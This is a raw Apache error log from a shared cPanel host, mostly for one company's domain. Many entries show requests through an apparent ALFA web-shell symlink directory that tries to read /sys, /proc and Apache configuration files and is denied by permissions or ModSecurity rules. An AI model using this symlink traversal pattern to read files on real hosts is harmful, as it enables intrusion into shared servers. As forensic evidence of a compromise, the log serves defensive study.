[Mon Oct 26 07:07:54.262562 2026] [security2:error] [pid 3015725:tid 3015725] [client 107.172.76.131:53264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at80fAbLerFfv4dhcWT0lQAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 07:07:54.262614 2026] [security2:error] [pid 3015725:tid 3015725] [client 107.172.76.131:53264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at80fAbLerFfv4dhcWT0lQAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 07:07:57.803187 2026] [core:error] [pid 3010063:tid 3010063] (13)Permission denied: [client 185.191.171.19:60880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.3/remove
[Mon Oct 26 07:08:06.136524 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 54.210.155.69:31387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:10.308679 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 3.232.39.98:65263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:12.632045 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 185.191.171.18:53554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/object_size
[Mon Oct 26 07:08:26.175833 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 100.29.155.89:36930] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:38.145586 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 100.29.160.53:37953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:42.169201 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 23.23.137.202:63860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:46.141876 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 184.73.195.18:1719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:08:54.386228 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 18.207.89.138:40258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/remove_id
[Mon Oct 26 07:09:06.162221 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 3.218.103.254:16397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:09:06.490096 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at80xujICF14JuwJz6aBygAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:09:06.490178 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at80xujICF14JuwJz6aBygAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:09:18.144896 2026] [core:error] [pid 3019681:tid 3019681] (13)Permission denied: [client 50.19.79.213:19092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_generic/bind
[Mon Oct 26 07:09:19.432313 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 85.208.96.207:29716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/remote_node_defrag_ratio
[Mon Oct 26 07:09:22.149717 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 3.212.205.90:21697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:09:34.249102 2026] [core:error] [pid 3019681:tid 3019681] (13)Permission denied: [client 54.157.99.244:14130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/module/drivers/pci:ata_generic/bind
[Mon Oct 26 07:09:38.143136 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 18.209.201.119:23635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:09:46.177884 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 100.28.49.152:46186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:09:47.366403 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 16.216.88.228:28672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf.datastore
[Mon Oct 26 07:09:58.215002 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.210.152.179:4118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:08.818304 2026] [core:error] [pid 3017657:tid 3017657] (13)Permission denied: [client 85.208.96.201:23856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/shrink
[Mon Oct 26 07:10:10.143657 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 52.2.191.202:47586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:22.144167 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 35.169.119.108:22870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:26.213923 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.84.250.51:12375] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:30.242238 2026] [ssl:error] [pid 3019689:tid 3019689] (70014)End of file found: [client 23.23.103.31:18462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:34.156771 2026] [ssl:error] [pid 3019706:tid 3019706] (70014)End of file found: [client 54.210.155.69:35181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:42.153774 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 44.207.207.36:64741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:46.151288 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.231.193.38:57180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:49.278512 2026] [core:error] [pid 3010063:tid 3010063] (13)Permission denied: [client 185.191.171.9:54424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/order
[Mon Oct 26 07:10:50.137439 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 3.93.98.99:52085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:10:50.594036 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 185.191.171.10:47382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/align
[Mon Oct 26 07:10:58.170508 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 54.235.172.108:4552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:02.145784 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.213.106.226:16886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:06.153893 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 3.209.174.110:65038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:14.293184 2026] [ssl:error] [pid 3019674:tid 3019674] (5)Input/output error: [client 18.211.148.239:32923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:22.264275 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 3.223.134.5:63290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:26.136784 2026] [ssl:error] [pid 3002822:tid 3002822] (5)Input/output error: [client 54.83.56.1:60220] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:30.159746 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 34.194.14.255:3859] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:34.274391 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 52.205.141.124:15928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:38.195360 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 18.204.152.114:1395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:42.129373 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 52.204.81.148:65357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:11:54.551030 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 18.210.58.238:16231] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:12:01.628355 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 85.208.96.195:50254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/validate
[Mon Oct 26 07:12:04.789898 2026] [core:error] [pid 3019681:tid 3019681] (13)Permission denied: [client 85.208.96.210:26056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/object_size
[Mon Oct 26 07:12:14.164896 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 54.225.181.161:40137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:12:15.861580 2026] [core:error] [pid 3019674:tid 3019674] (13)Permission denied: [client 185.191.171.1:55408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objs_per_slab
[Mon Oct 26 07:12:18.141666 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.232.82.72:62719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:12:30.144079 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 34.205.170.13:54655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:12:34.140801 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.231.193.38:64436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:12:42.230170 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 23.23.103.31:63929] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/thermal/bind
[Mon Oct 26 07:12:54.141804 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 18.232.12.157:46300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:06.212944 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.243.63.52:20493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:10.133752 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 52.70.123.241:2905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:14.521905 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 98.82.40.168:30143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:34.321151 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 52.45.15.233:57089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:38.157171 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.81.253.213:51646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:42.181302 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 3.227.180.70:59633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:46.183079 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 18.235.158.19:17838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:50.146568 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.215.49.176:61760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:13:54.148254 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 34.194.95.99:44182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:10.388861 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.232.36.1:27286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:14.135089 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 98.84.184.80:17286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:22.183186 2026] [ssl:error] [pid 3002822:tid 3002822] (5)Input/output error: [client 34.197.28.78:13681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:26.135753 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 18.207.79.144:18535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:42.141492 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 44.205.192.249:55640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:46.194015 2026] [ssl:error] [pid 3019675:tid 3019675] (22)Invalid argument: [client 44.220.2.97:8055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:14:48.761027 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at82G6XMILbsMtUzObzJtwAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 07:14:48.761115 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at82G6XMILbsMtUzObzJtwAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 07:14:50.197792 2026] [authz_core:error] [pid 3019674:tid 3019674] [client 205.169.39.26:6070] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 07:14:50.284504 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.206.249.188:26418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:06.277752 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 52.73.142.41:6205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:06.587296 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 85.208.96.205:34270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:12.251134 2026] [security2:error] [pid 3019681:tid 3019681] [client 85.208.96.201:60456] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_global.conf"] [unique_id "at82QGlqkKxk66RzKF4EzgAAABw"]
[Mon Oct 26 07:15:12.251497 2026] [security2:error] [pid 3019681:tid 3019681] [client 85.208.96.201:60456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_global.conf"] [unique_id "at82QGlqkKxk66RzKF4EzgAAABw"]
[Mon Oct 26 07:15:12.251907 2026] [security2:error] [pid 3019681:tid 3019681] [client 85.208.96.201:60456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_global.conf"] [unique_id "at82QGlqkKxk66RzKF4EzgAAABw"]
[Mon Oct 26 07:15:18.149240 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 34.194.233.48:37317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:26.154124 2026] [core:error] [pid 3010063:tid 3010063] (13)Permission denied: [client 52.71.203.206:35786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:04.0/remove
[Mon Oct 26 07:15:30.204554 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 3.215.59.93:60137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:34.135344 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 107.20.25.33:42637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:42.211313 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 54.84.102.81:33369] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:15:43.966651 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 85.208.96.203:49078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/cpu_slabs
[Mon Oct 26 07:15:54.128488 2026] [core:error] [pid 3010063:tid 3010063] (13)Permission denied: [client 52.7.13.143:13610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:04.0/rescan
[Mon Oct 26 07:16:02.269709 2026] [core:error] [pid 3019693:tid 3019693] (13)Permission denied: [client 18.208.11.93:23202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pcieport/remove_id
[Mon Oct 26 07:16:04.084621 2026] [core:error] [pid 3019674:tid 3019674] (13)Permission denied: [client 85.208.96.211:21038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/reclaim_account
[Mon Oct 26 07:16:06.130451 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 54.144.185.255:3833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/iosf_mbi_pci/bind
[Mon Oct 26 07:16:22.157769 2026] [core:error] [pid 3019674:tid 3019674] (13)Permission denied: [client 3.210.114.189:13855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/custom_divisor
[Mon Oct 26 07:16:26.132628 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 18.205.127.11:33465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:16:30.144947 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 35.172.125.172:2752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/dw_dmac_pci/uevent
[Mon Oct 26 07:16:34.156331 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 54.83.23.103:7710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:16:42.146593 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 35.173.38.202:14021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:06.207149 2026] [core:error] [pid 3019673:tid 3019673] (13)Permission denied: [client 54.83.240.58:32909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:05.0/remove
[Mon Oct 26 07:17:22.391400 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 34.225.24.180:37749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:26.228138 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 3.213.46.222:5507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:30.218844 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 52.200.142.199:37743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:34.512568 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 3.235.215.92:47292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/destroy_by_rcu
[Mon Oct 26 07:17:38.302899 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.197.82.195:60769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:42.225853 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 44.193.115.232:36647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:46.244715 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 52.3.104.214:31741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:17:54.269516 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.144.185.255:50958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:02.269283 2026] [core:error] [pid 3019693:tid 3019693] (13)Permission denied: [client 50.19.221.48:4357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/remove_id
[Mon Oct 26 07:18:06.252757 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 3.212.219.113:51541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:10.462175 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 44.194.134.53:37109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:22.381590 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 18.204.152.114:62439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:24.071246 2026] [proxy_fcgi:error] [pid 3010063:tid 3010063] [client 124.29.212.75:27204] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 07:18:26.345185 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.215.77.19:14953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:34.324223 2026] [ssl:error] [pid 3019681:tid 3019681] (5)Input/output error: [client 18.235.158.19:23773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:34.692991 2026] [core:error] [pid 3019693:tid 3019693] (13)Permission denied: [client 85.208.96.207:11268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/objs_per_slab
[Mon Oct 26 07:18:38.316769 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 52.201.155.215:39798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS0/flags
[Mon Oct 26 07:18:46.274675 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.156.55.147:21317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:50.505227 2026] [ssl:error] [pid 3019671:tid 3019671] (5)Input/output error: [client 54.156.248.117:54714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:18:51.706740 2026] [security2:error] [pid 3017653:tid 3017653] [client 107.172.76.131:53266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at83EHFRwTfT0KsFZ4erbAAAAA0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:18:51.706796 2026] [security2:error] [pid 3017653:tid 3017653] [client 107.172.76.131:53266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at83EHFRwTfT0KsFZ4erbAAAAA0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:19:15.232282 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 185.191.171.14:46910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:18.305230 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 3.212.86.97:31542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:24.765288 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 185.191.171.2:48898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:26.313086 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 52.54.95.127:6306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:30.512805 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 52.7.13.143:61212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:38.363751 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 100.29.164.178:12455] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:39.218983 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 185.191.171.2:29294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/min_partial
[Mon Oct 26 07:19:46.372565 2026] [ssl:error] [pid 3019675:tid 3019675] (5)Input/output error: [client 54.83.240.58:47707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:19:58.377128 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 44.209.89.189:42523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:20:02.385009 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.221.50.71:47449] AH02013: coalesce failed to read from data bucket
